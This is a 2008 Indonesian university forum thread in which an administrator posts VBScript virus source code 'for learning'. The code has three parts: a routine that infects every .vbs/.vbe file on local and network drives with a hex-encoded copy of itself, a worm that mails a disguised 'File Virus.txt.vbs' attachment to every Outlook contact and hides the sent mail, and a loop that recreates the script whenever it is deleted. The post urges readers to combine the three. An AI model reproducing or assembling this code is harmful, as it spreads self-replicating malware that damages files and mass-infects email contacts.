UNKLAB FORUM

Forum Mahasiswa & Alumni Universitas Klabat
 
HomeFAQSearchMemberlistUsergroupsRegisterLog in
Bagi Guest atau user yang tidak terdaftar, mohon maaf karena ada beberapa thread tidak bisa diakses oleh guest, oleh karena itu, sebaiknya anda registrasi terlebih untuk bisa mengakses penuh forum ini. Baca dulu peraturan forum ini. Terima Kasih
Navigation
 Index
 Memberlist
 Profile
 FAQ
 Search
Search
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Lowongan Pekerjaan PT. PNM (Persero)
Wed Nov 08, 2017 7:01 pm by CLiFF

» .NET Programming
Tue Mar 15, 2011 6:49 pm by Marvin07

» Bagaimana Menginstal OS dari USB???
Thu Feb 10, 2011 9:55 pm by unaitech

» Automatic Installation BackTrack 3 Final | Dual Booting
Thu Feb 10, 2011 9:53 pm by unaitech

» simple hacking test
Thu Feb 10, 2011 7:38 pm by and213

» [tutor] How To Patch SQL Injection Bug
Thu Feb 10, 2011 9:52 am by unaitech

» what ur distro..?
Thu Feb 10, 2011 9:48 am by unaitech

» netcut source-code
Thu Feb 10, 2011 9:44 am by unaitech

» Ragnarok Online
Mon Jan 31, 2011 1:57 pm by Marvin07

FRIENDS
Ads

    No ads available.



    Share | 
     

     Source Code Virus .vbs

    Go down 
    AuthorMessage
    CLiFF
    Administrator
    Administrator
    avatar

    Male Number of posts : 564
    Age : 32
    Location : Anywhere...
    Points : 10009
    Registration date : 2008-06-03

    PostSubject: Source Code Virus .vbs   Tue Jul 29, 2008 10:25 am

    Nih ada beberapa SC virus pake .vbs

    Tujuannya buat pembelajaran saja, gw gak bertanggung jawab jika terjadi penyalahgunaan...

    Infeksi File Antar Visual Basic Script (.VBS)
    Code:

    On Error Resume Next
    Set MawarPutih = CreateObject("Scripting.FileSystemObject")
    Angel1()
    Sub Angel1()
    On Error Resume Next
    Set a = CreateObject("Scripting.FileSystemObject")
    For Each SalinMawarPutih In a.Drives
    If SalinMawarPutih.DriveType = 2 _
    Or SalinMawarPutih.DriveType = 3 Then
    Angel3 (SalinMawarPutih.Path & "\")
    End If
    Next
    End Sub
    Sub Angel2(FileTarget)
    On Error Resume Next
    Set otf = a.GetFile(WScript.ScriptFullName)
    ra = otf.ReadAll
    otf.Close
    Set a = CreateObject("Scripting.FileSystemObject")
    Set f = a.GetFolder(FileTarget)
    For Each n In f.Files
    FileExt = LCase(a.GetExtensionName(n.Path))
    If FileExt = "vbs" Or FileExt = "vbe" Then
    Set openvbs = a.OpenTextFile(n.Path, 1)
    vbsra = openvbs.ReadAll
    openvbs.Close
    If InStr(1, vbsra, "Tips And Trik  by ") = False Then
    Set MawarPutih = CreateObject("Scripting.FileSystemObject")
    Set JC = MawarPutih.OpenTextFile(WScript.ScriptFullName, 1)
    RantingMawarPutih = JC.ReadAll
    JC.Close
    Set MawarMerah = MawarPutih.OpenTextFile(n.Path, 8, True)
    MawarMerah.WriteLine vbCrLf & "' Hack .VBS  by " & vbCrLf & "Tz = " & Chr(34) & Chr(34)
    For i = 1 To Len(RantingMawarPutih)
    Tz = Mid(RantingMawarPutih, i, 1)
    Tz = Hex(Asc(Tz))
    If Len(Tz) = 1 Then
    Tz = "0" & Tz
    End If
    Gz = Gz + Tz
    If Len(Gz) = 110 Then
    MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
    Gz = ""
    End If
    If Len(RantingMawarPutih) - i = 0 Then
    MawarMerah.WriteLine "Tz = Tz + """ + Gz + Chr(34)
    Gz = ""
    End If
    Next
    MawarMerah.WriteLine "Set MawarPutih = CreateObject(""Scripting.FileSystemObject"")"
    MawarMerah.WriteLine "WriteAppend.Write CM(Tz)"
    MawarMerah.WriteLine "WriteAppend.Close"
    MawarMerah.WriteLine "Function CM(CN)"
    MawarMerah.WriteLine "For GC = 1 To Len(CN) Step 2"
    MawarMerah.WriteLine "CM = CM & Chr(""&h"" & Mid(CN, GC, 2))"
    MawarMerah.WriteLine "Next"
    MawarMerah.WriteLine "End Function"
    MawarMerah.Close
    End If
    End If
    Next
    End Sub
    Sub Angel3(FileTarget)
    On Error Resume Next
    Set a = CreateObject("Scripting.FileSystemObject")
    Set f = a.GetFolder(FileTarget)
    For Each n In f.SubFolders
    Angel2 (n.Path)
    Angel3 (n.Path)
    Next
    End Sub


    penyebaran Melalui E-mail Via Outlook

    Code:

    On Error Resume Next

    Set MawarPutih = CreateObject("Scripting.FileSystemObject")
    Set MawarMerah = MawarPutih.GetFile(WScript.ScriptFullName)
    MawarMerah.Copy (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
    Set Attachments = MawarPutih.GetFile(MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
    Attachments.Attributes = 0
    Set RantingMawar = CreateObject("Outlook.Application")
    If Not RantingMawar = "" Then
    For Each DuriMawar In RantingMawar.GetNameSpace("MAPI").AddressLists
    For DaunMawar = 1 To DuriMawar.AddressEntries.Count
    Set BagianEmail = RantingMawar.CreateItem(0)
    BagianEmail.Recipients.Add (DuriMawar.AddressEntries(DaunMawar))
    BagianEmail.Subject = "Judul Pesan"
    BagianEmail.Body = "Isi Pesan"
    BagianEmail.Attachments.Add (MawarPutih.GetSpecialFolder(0) & "\File Virus.txt.vbs")
    BagianEmail.DeleteAfterSubmit = True
    BagianEmail.Send
    Next
    Next
    End If


    Anti Delete

    Code:

    On Error Resume Next

    Set MawarPutih= Createobject("scripting.filesystemobject")
    Set MawarMerah= MawarPutih.opentextfile(wscript.scriptfullname, 1)
    BatangMawar= MawarMerah.readall
    MawarMerah.Close
    Do
    If Not (MawarPutih.fileexists(wscript.scriptfullname)) Then
    Set DuriMawar= MawarPutih.createtextfile(wscript.scriptfullname, True)
    DuriMawar.writeBatangMawar
    DuriMawar.Close
    End If
    Loop

    semua code diatas.. bisa kalian jadiin 1.. tinggal kreasinya aja...
    thx_to:Shadow Angel

    _________________
    Einstein said "The true definition of stupidity is to do the same thing time and again and expect a different outcome."





    http://unklab.forum.st/
    Back to top Go down
    View user profile http://unklab.forum.st
    y0ng_en9el
    Pro
    Pro


    Male Number of posts : 919
    Age : 33
    Location : In your heart
    Points : 78
    Registration date : 2008-06-10

    PostSubject: Re: Source Code Virus .vbs   Thu Aug 21, 2008 8:44 pm

    Weizz. Nice share Admin.
    Back to top Go down
    View user profile http://hikari-community.co.nr
     
    Source Code Virus .vbs
    Back to top 
    Page 1 of 1
     Similar topics
    -
    » All A class models Error code 29
    » ramblings, and a new diagnosis code......
    » Boilermate BMA 185 fault code 29
    » All about SEBI Takeover Code
    » CS, CMAs may get Tax Audit assignments, along with CAs - proposal in Direct Tax Code (DTC)

    Permissions in this forum:You cannot reply to topics in this forum
    UNKLAB FORUM :: KLABAT UNIVERSITY :: Computer Science Faculty :: Computer Security :: Virus, Worm, Trojan, Etc.-
    Jump to: